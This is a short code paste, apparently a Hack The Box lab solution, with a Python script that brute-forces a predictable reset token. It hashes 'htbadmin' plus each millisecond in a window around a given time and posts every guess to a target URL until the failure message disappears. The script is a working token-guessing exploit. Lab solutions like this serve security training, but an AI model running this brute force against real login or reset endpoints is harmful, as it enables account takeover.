Untitled

mail@pastecode.io avatar
unknown
plain_text
a year ago
633 B
71
Indexable
Never
from hashlib import md5
import requests
from sys import exit
from time import time

url = 'URL OF QUESTION 1 HERE'

now = int(EPOCH TIME IN MILLISECONDS HERE)
start_time = now - 1000
end_time = now + 1000
fail_text = "Wrong token"

for x in range(start_time, end_time + 1):
    md5_token = md5(("htbadmin" + str(x)).encode()).hexdigest()
    data = {"token": md5_token, "submit": "check"}

    print("checking {} {}".format(str(x), md5_token))

    res = requests.post(url, data=data)

    if not fail_text in res.text:
        print(res.text)
        print("[*] Congrats Hash has been Pwned")
        exit()